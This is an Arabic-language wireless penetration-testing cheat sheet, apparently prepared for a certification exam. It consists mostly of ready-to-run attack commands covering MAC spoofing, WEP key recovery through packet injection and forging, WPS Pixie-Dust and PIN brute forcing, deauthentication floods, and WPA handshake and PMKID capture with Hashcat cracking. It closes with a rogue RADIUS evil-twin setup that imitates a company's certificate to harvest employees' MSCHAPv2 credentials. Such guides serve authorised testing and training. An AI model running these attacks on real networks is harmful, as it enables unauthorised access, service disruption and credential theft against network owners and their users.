Wireless Pentest Master Cheat Sheet

إعداد وتأليف: Dr.Dabash | Wireless Pentest Master Field Edition

الدليل الشامل والمرجع الميداني الكامل لاختبار اختراق الشبكات اللاسلكية (الدليل الميداني الاحترافي المتقدم) — يتضمن كافة الأوامر المحدثة، الشروحات المعمارية العميقة، استكشاف الأخطاء، وحل سيناريوهات WEP, WPS, WPA/WPA2-PSK, Hashcat 22000, PMKID, Enterprise, Rogue AP, Captive Portal, و mdk4.

WPS Pixie-Dust | WEP (4 Attack Paths) | airodump-ng | MAC Spoofing | Monitor Mode | Dr.Dabash Edition
Karma Attack | Rogue AP & Evil Twin | WPA2-Enterprise (MGT) | Clientless PMKID | Hashcat Mode 22000 | WPA/WPA2 Handshake
Automation Tools | Exam Walkthrough | Troubleshooting Guide | Decision Matrix | mdk4 DoS | Captive Portal

الجزء الأول: من تجهيز الكارت حتى اختراق WEP و WPS

.01	معمارية 802.11 وتجهيز الكارت ووضع المراقبة	Monitor Mode
.02	الطريقة اليدوية المتقدمة بـ iw والاستكشاف السلبي	Passive Recon
.03	انتحال عنوان الماك وتخطي الفلترة	MAC Spoofing
.04	الاستطلاع والمراقبة الشاملة بـ airodump-ng	airodump Recon
.05	نظرية تشفير WEP ومسارات الهجوم الأربعة	WEP Theory
.06	هجوم WEP — ARP Replay (الحصان الرابح)	ARP Injection
.07	هجوم WEP — Interactive Replay (استغلال العميل)	Interactive Replay
.08	هجوم WEP — التجزئة والتقطيع (شبكة فارغة)	Frag & ChopChop
.09	هجوم WEP — تخطي مصادقة المفتاح المشترك	SKA Bypass
.10	معالجة استعصاء aircrack-ng وأدوات الأتمتة	besside / wifite2
.11	نظرية WPS واستغلال ثغرة الـ 8 أرقام و Pixie-Dust	WPS Theory
.12	هجمات WPS العملية (Reaver / Bully)	WPS Attacks

الجزء الثاني: كسر WPA/WPA2، الشركات، والهجمات المتقدمة

.13	نظرية WPA/WPA2-PSK واصطياد المصافحة	Handshake Theory
.14	كسر التشفير بـ aircrack-ng, airolib-ng, John	Offline Cracking
.15	إمبراطور الكسر الحديث Hashcat وضع 22000	Hashcat Mastery
.16	هجوم PMKID الحديث بدون عملاء	Clientless PMKID
.17	شبكات الشركات والمؤسسات WPA2-Enterprise	Rogue RADIUS / MGT
.18	نقاط الوصول المارقة، التوأم الشرير، وهجوم كارما	Evil Twin & Karma
.19	هجوم بوابة الدخول المزيفة الشامل	Captive Portal
.20	أدوات حجب الخدمة mdk4 وكشف الشبكات المخفية	mdk4 & Hidden SSIDs
.21	ترسانة الأعلام والمراجع السريعة	Flags Arsenal
.22	مصفوفة اتخاذ القرار السريع في الامتحان	Decision Matrix
.23	طوق النجاة واستكشاف الأخطاء وحلها	Troubleshooting
.24	سيناريو الامتحان العملي والقاموس التقني	Exam Walkthrough
.25	أدوات الأتمتة المتقدمة لاختبار اختراق الوايرلس	Automation Tools

القسم 1: معمارية شبكات 802.11 وتجهيز كارت الشبكة ووضع المراقبة — Part 1: 802.11 Architecture & Monitor Mode

النموذج الذهني لمعمارية 802.11 (Frame Classes): كل ما تفعله في الاختراق اللاسلكي يعتمد على 3 فئات من الإطارات:

1. **Management Frames (إطارات الإدارة):** تشمل Beacons (إعلان الراوتر عن نفسه)، Probes (بحث الأجهزة)، Association، Authentication، و **Deauthentication (الطرد)**. هذه الحزم غير مشفرة دائماً في شبكات WEP و WPA/WPA2، وهذا هو السبب التقني لنجاح هجوم الـ Deauth ضد أي تشفير.
2. **Control Frames (إطارات التحكم):** تنظيم تدفق الهواء وحركة المرور مثل تأكيدات الاستلام (ACK) وإشارات الاستعداد (RTS/CTS).
3. **Data Frames (إطارات البيانات):** تحمل البيانات الفعلية المشفرة، والتقاطها هو ما يوفر المادة الخام لكسر WEP (عبر IVs) أو WPA (عبر EAPOL).

1.1 تجهيز كارت الشبكة ووضع المراقبة عبر airmon-ng

```
sudo airmon-ng
```

عرض كروت الشبكة اللاسلكية المتاحة في جهازك وتحديد اسم الواجهة (Interface Name) مثل wlan0 والـ Chipset.

```
sudo airmon-ng check kill
```

خطوة إلزامية إيقاف العمليات التي تتنازع على كارت الشبكة (NetworkManager و wpa_supplicant). تشغيل هذا الأمر يمنع الكارت من تغيير القنوات فجأة أو الخروج من وضع المراقبة.

```
sudo airmon-ng start wlan0
```

تحويل كارت الشبكة إلى وضع المراقبة (Monitor Mode) — ينتج واجهة مراقبة افتراضية تُسمى غالباً `wlan0mon`.

```
sudo airmon-ng start wlan0 6
```

أفضل ممارسة تحويل الكارت لوضع المراقبة وتثبيته مباشرة على قناة محددة (مثل القناة 6) لمنعه نهائياً من القفز العشوائي بين القنوات أثناء الهجوم.

```
iwlist wlan0mon channel
```

التأكد والتحقق من القناة الحالية التي يستمع إليها كارت الشبكة بالفعل في وضع المراقبة.

```
sudo ifconfig wlan0mon down && sudo airmon-ng stop wlan0mon
```

إيقاف واجهة المراقبة وإعادة كارت الشبكة إلى وضعه الطبيعي (Managed Mode). (حديثاً: يمكن استخدام `sudo ip link set wlan0mon down`).

```
sudo systemctl restart NetworkManager.service
```

إعادة تشغيل خدمة إدارة الشبكات لاستعادة اتصال الإنترنت الطبيعي بعد إنهاء جلسة الاختبار.

1.2 الطريقة اليدوية المتقدمة باستخدام أداة iw (إنشاء واجهة بدون تعطيل الأساسية)

متى نلجأ لهذه الطريقة؟ إذا فشلت أداة airmon-ng أو لم تُغير اسم الواجهة، أداة `iw` تسمح بإنشاء واجهة مراقبة افتراضية جديدة تماماً (mon0) دون المساس بواجهة wlan0 الأساسية.

```
iw dev wlan0 interface add mon0 type monitor
```

استنساخ واجهة جديدة باسم `mon0` من الكارت الأساسي وتهيئتها بنمط مراقبة (Monitor).

```
ifconfig mon0 up
```

تشغيل الواجهة الافتراضية الجديدة وتنشيطها للبدء في الاستماع للحزم المارة في الهواء (أو `ip link set mon0 up`).

```
iwconfig mon0
```

فحص إعدادات الواجهة والتأكد من ظهور `Mode:Monitor` للتأكد من نجاح تفعيل وضع المراقبة.

```
iw dev mon0 interface del
```

حذف الواجهة الافتراضية بعد الانتهاء لتنظيف البيئة وإرجاع إعدادات النظام لطبيعتها.

1.3 الاستكشاف السلبي السريع (Passive Scan) وتصحيح الأخطاء الشائعة

```
sudo iw dev wlan0 scan | grep SSID:
```

مسح سريع لعرض أسماء الشبكات المحيطة فقط دون الحاجة لتشغيل أدوات مراقبة معقدة (يتطلب Managed Mode).

```
sudo iw dev wlan0 scan | egrep "DS\ Parameter\ set|SSID"
```

مسح سريع يوضح اسم الشبكة (SSID) بجوار رقم القناة الترددية (DS Parameter set) العاملة عليها.

الخطأ الظاهر	السبب التقني	الحل الجذري
`Operation not permitted (-1)`	تنفيذ أمر الفحص دون صلاحيات المدير (Root).	أضف `sudo` قبل الأمر دائماً.
`Operation not supported (-95)`	أمر `iw scan` يتطلب وضع Managed Mode، بينما الكارت حالياً في Monitor Mode.	اعتمد على `airodump-ng` دائماً للاستكشاف أثناء وضع المراقبة، أو أوقف المراقبة قبل استخدام iw.
`Network is down`	الواجهة مغلقة بسبب تنفيذ `airmon-ng check kill` سابقاً.	نفذ `sudo ifconfig wlan0 up` ثم `sudo systemctl restart NetworkManager`.

القسم 2: انتحال عنوان الماك وتخطي فلترة العناوين — Part 2: MAC Address Spoofing & Filtering Bypass

```
macchanger --show wlan0mon
```

عرض عنوان الماك الحالي والأصلي الثابت لكارت الشبكة لمعرفة الهوية الحالية.

```
macchanger -m 00:11:22:33:44:55 wlan0mon
```

انتحال مخصص تغيير عنوان الماك إلى عنوان محدد لجهاز شرعي مسجل بالشبكة لتجاوز فلترة العناوين (MAC Filtering).

```
macchanger -r wlan0mon
```

توليد عنوان ماك عشوائي بالكامل لتفادي التتبع والتخفي أثناء عمليات الفحص والاستطلاع.

تحذير تكتيكي صارم (MAC Filtering Caveat): إذا لاحظت فشل هجوم المصادقة الوهمية (Fake Auth) باستمرار دون مبرر، فهذا مؤشر قطعي على تفعيل الراوتر لخاصية **MAC Filtering**.
الحل: راقب الشبكة بـ airodump-ng والتقط ماك عميل شرعي نشط (ينقل بيانات)، ثم انتحل عنوانه.
الشرط الحاسم: يجب الانتظار حتى ينفصل هذا العميل الشرعي تماماً عن الشبكة قبل استخدام عنوانه؛ لأن وجود جهازين نشطين في نفس الوقت بنفس الماك يسبب تعارضات شبكية (Collisions) في توجيه الحزم، مما يفسد الهجوم وينبه الراوتر بوجود خلل أمني.

القسم 3: الاستطلاع الشامل ومراقبة الحركة بـ airodump-ng — Part 3: Wireless Reconnaissance with airodump-ng

```
sudo airodump-ng wlan0mon
```

الرادار العام: مسح دوري شامل لجميع القنوات اللاسلكية وعرض كافة نقاط الوصول والعملاء المتصلين.

```
sudo airodump-ng wlan0mon --encrypt WEP
```

تصفية نتائج المسح والتركيز فقط وحصرياً على الشبكات التي تستخدم تشفير WEP القديم.

```
sudo airodump-ng -w capture -c 6 wlan0mon
```

تثبيت كارت الشبكة على القناة 6 وحفظ كافة الحزم الملتقطة داخل ملف يبدأ باسم `capture` للتحليل والكسر.

```
sudo airodump-ng -w capture -c 6 --bssid AA:BB:CC:DD:EE:FF wlan0mon
```

التقاط دقيق ونظيف تركيز الاستماع وحفظ الحزم حصراً لراوتر هدف واحد محدد لمنع التشويش والضوضاء الناتجة عن شبكات الجيران.

```
sudo airodump-ng -w capture --output-format pcap wlan0mon
```

إجبار الأداة على حفظ الحزم بصيغة `pcap` القياسية لضمان التوافق المطلق مع برامج التحليل مثل Wireshark و tshark.

```
airgraph-ng -i capture-01.csv -g CAPR -o out.png
```

تصور مرئي للعلاقات قراءة ملف CSV الناتج عن airodump وتوليد رسم بياني (PNG) يوضح بصرياً أي العملاء يتصلون بأي نقطة وصول بدقة.

العمود في الشاشة	المدلول التقني	القرار الهجومي المترتب عليه
`Data#`	عدد حزم البيانات التي تم التقاطها. في شبكات WEP، يمثل هذا الرقم عداد الـ IVs.	الهدف هو تصعيد هذا الرقم بالحقن. إذا كان ثابتاً، الشبكة خاملة وتتطلب توليد بيانات (Replay/Deauth).
`ENC / CIPHER`	نوع التشفير (WEP / WPA / WPA2) ونوع الخوارزمية (TKIP / CCMP / WEP40).	يحدد مسار الهجوم بالكامل: عائلة WEP (رياضيات)، أم عائلة WPA (تخمين مصافحة)، أم WPA3 (PMF).
`AUTH: PSK`	Pre-Shared Key (مفتاح مشترك مسبقاً — النمط المنزلي لـ WPA/WPA2).	المسار هو التقاط المصافحة الرباعية (Handshake) أو هجوم PMKID بدون عملاء.
`AUTH: MGT`	Management / 802.1X (شبكات الشركات والمؤسسات WPA-Enterprise).	المسار هو هجمات نقطة الوصول المارقة وخادم RADIUS الوهمي (Rogue RADIUS) واعتراض MSCHAPv2.
`AUTH: SKA`	Shared-Key Authentication (تشفير WEP بمصادقة المفتاح المشترك).	المصادقة الوهمية المفتوحة ستفشل؛ يتطلب اعتراض التحدي وتخطي تيار المفتاح (PRGA XOR Bypass).
`Station Rows`	عناوين الماك للأجهزة المتصلة فعلياً بالراوتر الهدف.	تحدد إمكانية استخدام هجوم معتمد على العميل (Client-based) أم هجوم بدون عميل (Clientless).

القسم 4 و 5: ترسانة اختراق شبكات WEP — النظرية ومسارات الهجوم الأربعة — Part 4 & 5: WEP Theory & 4 Practical Attack Workflows

الخلل الرياضي في تشفير WEP: يعتمد WEP على خوارزمية RC4 بمفتاح سري ثابت مدمج مع متجه تهيئة (IV) بطول **24 بت فقط** يُرسل في الهواء كنص صريح (Cleartext). يؤدي صغر حجم الـ IV إلى استنفاد القيم وتكرارها بسرعة في الشبكات المزدحمة. عملية دمج المفتاح مع الـ IV تسرب معلومات إحصائية دقيقة عن المفتاح السري، مما مكن هجمات FMS و PTW من استعادة المفتاح رياضياً **دون تخمين كلمات مرور** فور جمع 20,000 إلى 50,000 حزمة IV.

5.1 المسار الأول: هجوم إعادة إرسال ARP Replay (الحصان الرابح بوجود عملاء)

```
aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <YOUR_MAC> wlan0mon
```

المصادقة الوهمية (Fake Auth) طرق باب الراوتر لتسجيل حضور كارتك كعميل مرتبط (Associated) بالنظام المفتوح؛ شرط إلزامي ليقبل الراوتر حزمك المحقونة لاحقاً.

```
aireplay-ng -3 -b <BSSID> -h <YOUR_MAC> wlan0mon
```

محرك توليد الـ IVs (ARP Replay) الاستماع الصامت حتى اصطياد أول حزمة ARP عابرة، ثم إعادة حقنها في الهواء آلاف المرات؛ يرد الراوتر بـ IV جديد مع كل حزمة، فيرتفع عداد Data# بشكل صاروخي.

```
aireplay-ng -0 1 -a <BSSID> -c <CLIENT_MAC> wlan0mon
```

نبضة الطرد التكتيكية (The Seed) إذا كانت الأجهزة خاملة ولم ترسل حزم ARP، أرسل نبضة طرد واحدة لعميل نشط؛ يجبره على إعادة الاتصال وإرسال طلب ARP فوراً لتبدأ عملية الـ Replay.

```
aircrack-ng capture*.cap
```

فك التشفير وحل المعادلات الرياضية واستخراج المفتاح السري. يمكن تشغيله بالتزامن مع الحقن وسيقوم بالمحاولة آلياً كلما زادت الحزم.

5.2 المسار الثاني: هجوم إعادة الإرسال التفاعلي (Interactive Replay — عميل واضح والراوتر ضعيف)

```
aireplay-ng -2 -b <BSSID> -d FF:FF:FF:FF:FF:FF -f 1 -m 68 -n 86 wlan0mon
```

تصفية الحزم المارة في الهواء والتقاط الحزم الصادرة من العميل باتجاه الراوتر (`-f 1`) بحجم يتراوح بين 68 و 86 بايت (حجم حزم ARP) وإعادة بثها كـ Broadcast للراوتر.

```
aireplay-ng -2 -r replay_src-<FILE>.cap wlan0mon
```

إعادة حقن حزمة ممتازة تم التقاطها مسبقاً وتخزينها في ملف، لتوليد الحزم فوراً دون انتظار التقاط جديد من الهواء.

5.3 المسار الثالث: هجوم التجزئة والتقطيع (Fragmentation & ChopChop — شبكة فارغة بدون عملاء)

الفكرة العبقرية: في حال عدم وجود عملاء، نقوم بخداع الراوتر ليكشف لنا عن "قالب التشفير" (Keystream / PRGA XOR). نسرق 1500 بايت من القالب، ثم نصنع حزمة ARP مزيفة بأنفسنا ونختمها بالقالب المسروق ونعيد حقنها!

```
aireplay-ng -5 -b <BSSID> -h <YOUR_MAC> wlan0mon
```

Fragmentation Attack إرسال أجزاء بيانات صغيرة ومراقبة رد الراوتر لاستخراج قالب التشفير وحفظه في ملف ينتهي بامتداد `.xor`.

```
packetforge-ng -0 -a <BSSID> -h <YOUR_MAC> -k 255.255.255.255 -l 255.255.255.255 -y <frag>.xor -w arp-packet
```

صناعة حزمة ARP مزيفة من العدم وتشفيرها باستخدام قالب الـ `.xor` المسروق وتوجيهها كبث شامل وحفظها في ملف `arp-packet`.

```
aireplay-ng -2 -r arp-packet wlan0mon
```

حقن الحزمة المزيفة المصنعة في الشبكة آلاف المرات كالرشاش؛ يقبلها الراوتر ويولد مع كل رد متجه IV جديد.

```
aireplay-ng -4 -b <BSSID> -h <YOUR_MAC> wlan0mon
```

ChopChop Alternative هجوم التقطيع كبديل للتجزئة: اقتطاع وتخمين بايتات الحزمة المشفرة بايت تلو الآخر لاستخراج تيار الـ Keystream المسرب.

5.4 المسار الرابع: تخطي مصادقة المفتاح المشترك (Shared-Key Authentication - SKA Bypass)

```
aireplay-ng -0 1 -a <BSSID> -c <CLIENT_MAC> wlan0mon
```

طرد عميل شرعي؛ عندما يعيد الاتصال ويحل لغز التحدي للراوتر، يلتقط airodump-ng تيار المفتاح تلقائياً ويحفظه في ملف `.xor`.

```
aireplay-ng -1 60 -e <ESSID> -y wepshared-NAME.xor -a <BSSID> -h <YOUR_MAC> wlan0mon
```

إجراء المصادقة الوهمية بنجاح باستخدام قالب الـ XOR المسروق لتشفير رد التحدي وخداع الراوتر بأنك تعرف كلمة المرور.

5.5 خيارات الكسر المتقدمة وهجمات الأتمتة الكاملة لـ WEP

```
aircrack-ng -f 4 capture*.cap
```

معامل التوسيع (Fudge Factor) توسيع نطاق البحث الرياضي ليختبر احتمالات أكثر تعقيداً إذا فشل الكسر الافتراضي بعد جمع كميات هائلة من الحزم.

```
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture*.cap
```

الكسر بالقاموس إذا كانت كلمة مرور WEP كلمة بشرية عادية غير عشوائية واستعصى الحل الرياضي.

```
sudo besside-ng -b 00:11:22:33:44:55 -c 6 wlan0mon
```

الطيار الآلي (Automation) أداة أوتوماتيكية بالكامل: تقوم بالبحث، والمصادقة، وحقن ARP، وجمع IVs، وكسر التشفير في أمر واحد مباشر.

```
sudo wifite --kill
```

أداة الأتمتة الحديثة الشهيرة: تفحص الشبكات، ترتبها حسب القوة، وتنفذ هجمات WEP, WPS, WPA, و PMKID بواجهة ملونة سهلة.

القسم 6: استغلال ثغرات إعداد الحماية WPS وهجوم غبار الجنيات — Part 6: WPS Flaws, Pixie-Dust & Online PIN Brute-force

الخلل القاتل في WPS: بدلاً من كسر باسورد WPA2 المكون من 50 خانة، نستهدف رمز الـ PIN المكون من 8 أرقام.
1. الرقم الـ 8 مجرد Checksum محسوب تلقائياً (تبقى 7 أرقام = 10 مليون احتمال).
2. الراوتر يفحص النصفين منفصلين: النصف الأول (4 أرقام = 10,000 احتمال) والنصف الثاني (3 أرقام = 1,000 احتمال). المجموع = **11,000 محاولة فقط!**
3. **Pixie-Dust Attack:** ضعف توليد الأرقام العشوائية المؤقتة (Nonces) في شرائح الراوترات يتيح حساب الـ PIN بالكامل أوفلاين في ثوانٍ من رسالة اتصال واحدة!

```
wash -i wlan0mon -s
```

رادار استكشاف الرواترات التي تفعل ميزة WPS. راقب عمود **Lck**: إذا كان `No` فالهجوم متاح؛ إذا كان `Yes` فالراوتر في وضع القفل (Lockout).

```
reaver -i wlan0mon -b <BSSID> -SNLAvv -c <CH> -K
```

هجوم Pixie-Dust السحري (ابدأ به دائماً) استغلال ضعف الـ Nonces عبر أداة pixiewps واستخراج كود الـ PIN وباسورد الشبكة أوفلاين في ثوانٍ معدودة.
تفكيك الأعلام: `-S` مفاتيح DH صغيرة للتسريع، `-N` عدم إرسال NACK عند الأخطاء، `-L` تجاهل القفل، `-A` منع الـ Assoc التلقائي، `-K` تفعيل هجوم Pixie-Dust.

```
reaver -i wlan0mon -b <BSSID> -SNLAsvv -d 1 -r 5:3 -c <CH>
```

Online Brute-force مع التهدئة تجربة الـ 11,000 احتمال بحذر إذا فشل Pixie-Dust؛ `-d 1` تأخير ثانية بين المحاولات، و `-r 5:3` استراحة 3 ثوانٍ كل 5 محاولات لتفادي قفل الراوتر (Lockout).

```
bully -b <BSSID> -c <CH> wlan0mon
```

البديل الأكثر استقراراً أداة مبرمجة بلغة C تعمل كبديل ممتاز لـ Reaver إذا علقت الأداة أو دخلت في حلقة مفرغة (Loop) أو واجهت كروت شبكة عنيدة.

القسم 7 و 8: شبكات WPA/WPA2-PSK — اصطياد المصافحة والكسر الكلاسيكي والذكي | Part 7 & 8: WPA/WPA2 4-Way Handshake Capture & Cracking

هيكل المفاتيح والمصافحة الرباعية: كلمة المرور لا تُرسل في الهواء أبداً.
- **PMK (المفتاح الرئيسي):** ينتج عن خلط الباسورد مع اسم الشبكة (ESSID) عبر PBKDF2 بتكرار 4096 مرة.
- **المصافحة (4-Way Handshake):** يرسل الراوتر ANonce، ويرد العميل بـ SNonce و PTK (مفتاح الجلسة) وتوقيع التحقق **MIC**.
- **لماذا نكتفي بالطرد (Deauth)؟** لأن الرسالتين 1 و 2 من المصافحة تحتويان على (ANonce, SNonce, MIC) وهو كل ما يلزم لكسر الباسورد أوفلاين.

7.1 التقاط المصافحة الرباعية عملياً

```
sudo airodump-ng -w capture -c <CH> --bssid <BSSID> wlan0mon
```

نافذة الاستماع 1: تثبيت المراقبة على قناة وماك الراوتر الهدف والانتظار بصمت لتسجيل المصافحة في ملف capture.

```
sudo aireplay-ng -0 1 -a <BSSID> -c <CLIENT_MAC> wlan0mon
```

طرد موجه محسوب نافذة 2: إرسال نبضة طرد واحدة لعميل متصل؛ ينفصل لثانية ويعيد الاتصال فتسجل نافذة airodump المصافحة فوراً (يظهر `WPA handshake`).

```
sudo aireplay-ng -0 5 -a <BSSID> -c <CLIENT_MAC> wlan0mon
```

إرسال 5 دفعات طرد لضمان فصل الجهاز إذا لم يستجب للدفعة الأولى (تجنب الإفراط في الطرد حتى لا ييأس الجهاز ويتوقف عن الاتصال).

```
sudo aireplay-ng -0 1 -a <BSSID> wlan0mon
```

طرد عام (Broadcast) لجميع الأجهزة المتصلة بالراوتر إذا كنت لا تعرف ماك عميل محدد.

```
mdk4 wlan0mon d -b bssid_list.txt
```

طرد جماعي متقدم استخدام أداة mdk4 لإرسال حزم طرد جماعية لقائمة رواترات مسجلة في ملف نصي في وقت واحد.

8.1 الكسر بالأدوات الكلاسيكية والذكية

```
aircrack-ng capture*.cap -w /usr/share/wordlists/rockyou.txt
```

الكسر المباشر بالقاموس الشهير rockyou بمقارنة الختم (MIC) المحسوب مع الختم الملتقط.

```
aircrack-ng capture*.cap -e <ESSID> -w /usr/share/wordlists/rockyou.txt
```

تحديد اسم الشبكة (ESSID) يدوياً إذا فشل airodump في تسجيل الاسم أثناء التقاط المصافحة (الاسم عنصر إلزامي في معادلة PMK).

```
echo "<ESSID>" > essid.txt && airolib-ng db --import essid essid.txt && airolib-ng db --import passwd wordlist && airolib-ng db --batch
```

قاعدة بيانات الـ PMK المحسوبة مسبقاً (airolib-ng) صهر اسم الشبكة مع ملايين كلمات القاموس مسبقاً وحساب الـ PMK وتخزينها في قاعدة بيانات؛ توفر أياماً من الحساب عند اختبار نفس الشبكة مراراً.

```
aircrack-ng -r db capture*.cap
```

كسر فوري وسريع كالبرق باستخدام قاعدة بيانات السبائك الجاهزة المستخرجة من airolib-ng.

```
john --wordlist=<wordlist> --rules --stdout | aircrack-ng -e <ESSID> -w - capture*.cap
```

التخمين الذكي بالقواعد (Smart Rule-based) تطبيق قواعد التحوير الذكية لـ John the Ripper (إضافة سنوات، تكبير أول حرف، رموز) وضخ الكلمات الناتجة مباشرة إلى aircrack عبر الـ Pipe.

```
cowpatty -r capture*.cap -c
```

التحقق من صحة وسلامة المصافحة واكتمال حزم EAPOL قبل تضييع الوقت في الكسر.

```
genpmk -s <SSID> -f <wordlist> -d hashes && cowpatty -r capture*.cap -d hashes -s <SSID>
```

توليد جداول الـ PMK المحسوبة مسبقاً بأداة genpmk ثم كسرها بسرعة فائقة بأداة cowpatty.

Part 9: Hashcat Mode 22000 & Capture Filtering — القسم 9: إمبراطور الكسر الحديث Hashcat وضع 22000

لماذا النمط 22000 هو المعيار الحديث؟ يدمج النمط 22000 الحديث كلاً من مصافحة EAPOL التقليدية وهجوم PMKID بدون عميل في ملف نصي واحد بصيغة `hc22000`، مستبدلاً الأنماط القديمة (2500 و 16800).

```
hcxpcapngtool -o hash.hc22000 -E wordlist dumpfile.pcapng
```

الأداة القياسية الحديثة تنظيف ملف الالتقاط وتحويله إلى صيغة `hc22000` مع استخراج أي نصوص وكلمات عابرة من الحزم كقاموس فرعي (`-E wordlist`).

```
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
```

هجوم القاموس المباشر الأسرع في العالم بالاعتماد على معالجات كروت الشاشة (GPU).

```
hashcat -m 22000 hash.hc22000 -r rules/best64.rule -o cracked.txt
```

الأكثر واقعية والأعلى نجاحاً هجوم القاموس مدعوماً بملف قواعد التحوير `best64.rule` لتجربة تحويرات مثل (Ahmed2024, pass@123).

```
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d
```

هجوم القناع (Mask Attack): تجربة جميع الاحتمالات المكونة من 8 أرقام فقط (مفيد جداً للباسوردات الافتراضية وأرقام الهواتف).

```
hashcat -m 22000 hash.hc22000 -a 6 /usr/share/wordlists/rockyou.txt ?d?d?d?d
```

الهجوم الهجين (Hybrid): تجربة كل كلمة من القاموس متبوعة بـ 4 أرقام في النهاية (مثل اسم + سنة الميلاد).

```
grep 'WPA*01' hash.hc22000 > pmkid.hc22000 && grep 'WPA*02' hash.hc22000 > eapol.hc22000
```

فلترة الملف النصي: فصل هاشات PMKID (تبدأ بـ WPA*01) عن هاشات المصافحة EAPOL (تبدأ بـ WPA*02).

```
hcxhashtool -i hash.hc22000 --mac-ap=112233445566 -o macap.hc22000
```

عزل الهدف الاحترافي استخراج بيانات راوتر محدد فقط من ملف ضخم مليء بشبكات الجيران للتركيز عليه في Hashcat دون تشتيت.

القسم 10: هجوم PMKID الحديث بدون عملاء (Clientless WPA Attack) — Part 10: Clientless WPA Attack via PMKID

لماذا يعد PMKID هجوماً ثورياً؟ في السابق، كان يجب انتظار أو طرد عميل. في معيار التجوال السريع (802.11r Roaming)، يرسل الراوتر معرّف **PMKID** في أول إطار استجابة للارتباط (Association Frame 1) لكل من يطلب الاتصال به. هذا المعرّف يحتوي على معادلة الباسورد المشفرة، فنلتقطه وندخله لـ Hashcat مباشرة دون وجود أي عميل بالشبكة!

```
sudo systemctl stop NetworkManager.service wpa_supplicant.service
```

فك قيود الكارت إيقاف خدمات النظام تماماً لمنح أداة `hcxdumptool` السيطرة المطلقة والمباشرة على كارت الواي فاي.

```
sudo hcxdumptool -i wlan0 -w dump.pcapng --rds=1 -F
```

الالتقاط العشوائي العام لجميع الشبكات المحيطة مع تفعيل تغيير الماك المستمر (`--rds=1`) واستفزاز الرواترات لإرسال PMKID.

```
echo "<BSSID>" | sed 's/://g' > bssid && sudo hcxdumptool -i wlan0 -o dump.pcapng --enable_status=15 --filterlist_ap=bssid --filtermode=2
```

الالتقاط الموجه لراوتر محدد تجهيز ماك الراوتر بدون نقطتين رأسيتين، وتوجيه الهجوم حصراً إليه وتجاهل باقي شبكات الشارع.

```
hcxpcapngtool -o hash.hc22000 dump.pcapng && hashcat -m 22000 hash.hc22000 <wordlist>
```

استخراج الهاش بصيغة hc22000 ثم إطلاقه فوراً في وحش الـ Hashcat لاستخراج كلمة المرور.

```
sudo systemctl start wpa_supplicant.service NetworkManager.service
```

إعادة تشغيل خدمات الشبكة الطبيعية فور الانتهاء من عملية الالتقاط.

قواعد النظافة المهنية للالتقاط (Capture Hygiene):
1. **لا تستخدم airmon-ng:** أداة hcxdumptool تدير وضع المراقبة بنفسها بطريقتها الخاصة؛ استخدام airmon-ng يفسد عملها.
2. **لا تستخدم واجهات افتراضية:** تعامل مع الكارت المادي المباشر (مثل wlan0).
3. **إياك واستخدام wpaclean أو دمج ملفات pcap:** ملفات pcapng التي تلتقطها الأداة تحتوي على Metadata دقيقة عن الإشارة والخيارات التشفيرية، وأي تنظيف بدائي يتلفها ويمنع Hashcat من كسرها.

القسم 11: شبكات المؤسسات والشركات WPA2-Enterprise (802.1X / RADIUS / MGT) — Part 11: WPA2-Enterprise, Rogue RADIUS & asleap

فلسفة اختراق شبكات الشركات: في شبكات المؤسسات (عمود AUTH يظهر **MGT**)، لا توجد كلمة مرور واحدة للجميع، بل يمتلك كل موظف اسم مستخدم وباسورد يتم التحقق منهما عبر خادم مركزي (**خادم RADIUS**) ببروتوكول PEAP/MSCHAPv2.
خطة الهجوم: نقوم باستطلاع الشهادة الأمنية الحقيقية للشركة، ونصنع خادم RADIUS وهمي وراوتر وهمي (Evil Twin) بنفس الاسم والشهادة. يتصل هاتف الموظف بفخنا، فنطلب منه إثبات هويته، فيرسل تحدي/استجابة MSCHAPv2، فنلتقطه ونكسره بأداة `asleap` أوفلاين!

11.1 استطلاع الشهادة الأمنية للشركة (Recon the Certificate)

```
sudo airmon-ng check kill && sudo airmon-ng start wlan0 && sudo airodump-ng wlan0mon
```

تجهيز وضع المراقبة، ومسح الأثير للبحث عن شبكة شركات تظهر في عمود الـ AUTH قيمة `MGT`.

```
sudo airodump-ng -c <CH> -w <ESSID> wlan0mon
```

تثبيت القناة على شبكة الشركة المستهدفة وبدء تسجيل الحزم في ملف خاص بالشركة.

```
aireplay-ng -0 1 -a <BSSID> -c <CLIENT_MAC> wlan0mon
```

طرد موظف شرعي لإجباره على إعادة الاتصال بالخادم الحقيقي، وفي هذه اللحظة يرسل الخادم الشهادة الرقمية عبر الهواء فنسجلها.

```
wlan.bssid==AA:BB:CC:DD:EE:FF && eap && tls.handshake.certificate
```

فلتر Wireshark تصفية الحزم في Wireshark لاستخراج حزمة المصافحة المحتوية على شهادة الخادم الرقمية وتصديرها كملف `.cert.der`.

```
openssl x509 -inform der -in cert.der -text
```

قراءة بيانات الشهادة المستخرجة كنص صريح لمعرفة اسم الجهة المصدرة (Issuer) وصاحب الشهادة (Subject) لتقليدهما بدقة.

```
openssl x509 -inform der -in cert.der -outform pem -out output.crt
```

تحويل الشهادة من صيغة DER الثنائية إلى صيغة PEM النصية القياسية.

11.2 بناء البنية التحتية الوهمية (Rogue RADIUS + hostapd-mana)

```
sudo apt install freeradius
```

تثبيت خادم المصادقة FreeRADIUS على جهاز المهاجم ليلعب دور خادم الشركة.

```
sudo mousepad /etc/freeradius/3.0/certs/ca.cnf && sudo mousepad /etc/freeradius/3.0/certs/server.cnf
```

تعديل ملفات تكوين الشهادات لتتطابق أسماء الـ CA والـ Server تماماً مع الأسماء المستخرجة من شهادة الشركة الأصلية.

```
cd /etc/freeradius/3.0/certs/ && sudo rm dh && make
```

إعادة بناء الشهادات الأمنية المزيفة بناءً على الإعدادات الجديدة المتطابقة مع الشركة.

```
sudo mousepad /etc/hostapd-mana/mana.conf && sudo mousepad /etc/hostapd-mana/mana.eap_user
```

ضبط اسم شبكة الشركة المستهدفة في ملف mana.conf وتحديد بروتوكولات المصادقة المقبولة (PEAP, EAP-TTLS).

```
sudo hostapd-mana /etc/hostapd-mana/mana.conf
```

إطلاق النقطة المارقة تشغيل نقطة الوصول الوهمية واعتراض مفاوضات EAP وحفظ قيم التحدي والاستجابة (Challenge/Response) لهواتف الموظفين.

